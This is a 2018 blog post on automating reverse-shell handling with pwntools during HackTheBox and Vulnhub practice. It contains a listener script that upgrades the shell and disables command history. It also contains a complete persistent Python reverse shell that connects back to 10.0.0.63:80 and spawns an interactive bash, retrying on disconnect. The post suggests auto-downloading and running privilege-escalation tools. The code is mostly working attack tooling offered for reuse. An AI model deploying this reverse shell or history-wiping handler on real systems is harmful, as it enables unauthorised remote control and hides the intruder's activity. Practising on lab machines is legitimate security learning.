Friday, December 28, 2018

Using pwntools for reverse shell handling and automation

Introduction:
I've been working with machines on HackTheBox and VM's from Vulnhub for a while. I got annoyed of typing commands again and again. I decided to use pwntools (Python library that provides a lot of functions for CTF and exploit dev usage, https://github.com/Gallopsled/pwntools) for handling reverse shell and sending commands. This is nothing new, I'm sure there are people and tools out there that automate some things after a machine is popped.

For HTB and Vulnhub VM's I'm trying to avoid using tools such as metasploit, meterpreter, or anything that does everything and instead try to write my own tools and modify exploits. However, I do use nmap and enumeration tools/scripts...

Setup:
For reverse shells that I get, they could have resulted from a custom python script, PHP code, or some binary exploit. If it's custom python script, I can add things I want the script to do before it connects back to me but for shell from PHP or exploit, I have to send commands after I get a reverse connection.

This is what I have as my handler: 

from pwn import *

l = listen(80)
l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
l.sendline(" export SHELL=bash")
l.sendline(" export HISTFILE=/dev/null")
l.sendline(" export TERM=xterm")
l.sendline(" stty rows 38 columns 116")
l.sendline(""" alias ls='ls -lha --color=auto'""")
l.sendline("hostname")
l.sendline("whoami")
l.sendline("uname -a")
l.sendline("ps aux")
l.interactive()

It listens on port 80 and as soon as there is a reverse shell, it executes commands. l.interactive() gives you a shell.
I change it depending on the situation. For one of the HTB machines, I had lines added to log in as one of the privileged users. You can also add commands in here to automatically download enumeration or privesc tools and execute them. 

Another common problem I've had is losing the shell. This typically happens because I pressed control+C after running a command I shouldn't have or didn't need to. I decided to modify my reverse python shell to make it run in an infinite loop, with sleep in the middle when disconnected. This was fine for a while but I didn't wanna have my reverse shell running on shared HTB machines all the time, if I happen to stop working on the machine or get disconnected and my IP changes. I changed the script and added a counter so after a while if it's not able to connect to me, the process ends.

Here's what the reverse shell looks like:

import socket, subprocess, os, time
counter = 0
while counter < 6:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("10.0.0.63",80));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        counter = 0
        p=subprocess.call(["/bin/bash","-i"]);
    except:
        counter = counter + 1
        time.sleep(5)
        continue


Resources:
https://github.com/Gallopsled/pwntools